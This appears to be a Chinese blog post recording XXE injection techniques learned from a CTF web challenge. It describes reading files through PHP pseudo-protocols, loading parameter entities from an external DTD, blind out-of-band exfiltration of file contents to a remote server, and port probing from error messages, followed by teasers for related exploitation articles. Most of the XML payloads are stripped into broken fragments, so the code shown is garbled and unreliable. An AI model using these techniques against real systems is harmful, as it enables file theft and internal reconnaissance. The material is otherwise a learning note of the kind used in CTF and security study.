WEB XML與XXE漏洞 偽協議

2021-10-01 06:28:57 字數 1311 閱讀 9439

在做unctf時遇到一道web題,是xml的xxe漏洞(do you like xml),當時沒做出來,沒反應過來這個知識點,後來經人指點稍微理解了一些關於這個的漏洞,又在判作業中看到了這個知識點,所以決定記錄下來

xml是用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。xml文件結構包括xml宣告、dtd文件型別定義(可選)、文件元素。

這道題可以通過偽協議讀取flag.php的內容,從而getflag

<?xml version="1.0"?>

]>

>

>

&test;

username

>

>

123password

>

user

>

xml當被允許引用外部實體的時候,就存在有被注入的危險,注入的方式有很多,如下

<?xml version="1.0"?>

]>

>

>

&content;

name

>

note

>

<?xml version="1.0"?>

%d;]>

>

>

&b;name

>

note

>

xxe.dtd的檔案內容為

用php偽協議讀取任意檔案,當資料無回顯的時候還可以將資料傳送到遠端伺服器進行讀取

<?xml version="1.0"?>

xxe.dtd的內容為

% send system ''>"

>

%all;

可以通過返回的錯誤資訊來檢測目標ip的埠開放情況

<?xml version="1.0"?>

]>

>

&xxe;

test

>

這種方式可以探測到目標的80埠,通過返回的「connection refused」可以知道該80埠是未開放的,若返回的是"http request failed!",可以知道80埠是開放的。

php偽協議漏洞 某 CMS 的漏洞挖掘和分析

信安之路 xxe漏洞基礎知識,網上很多。值得一提的是版本號,想要利用 xxe 需要注意 php 的版本號。其實是libxml的版本號要小於等於 2.8.0。這一點很重要。復現的環境是使用phpstudy的php5.4版本。一開始使用5.6 版本死活不成功。怪自己太蠢。全域性搜尋關鍵字 xml loa...

檔案包含與偽協議

說明 include 函式對檔案字尾名無要求,而對其中的語法有要求,即使字尾名為txt,jpg也會被當做php檔案解析,只要檔案內是形式就可以執行,但是如果不是php語法的形式,即使字尾為php,也無法執行。用於訪問本地檔案系統的檔案條件 allow url fopen off on allow u...

php檔案包含 偽協議 檔案上傳漏洞利用例項

1.上傳檔案過濾了字尾名和mime型別,files pic type 是由瀏覽器傳輸的檔案型別決定,但是mime content type 是由php 內建方法判斷檔案型別 2.任意檔案包含 f get f include once sys config.php include f 利用zip或ph...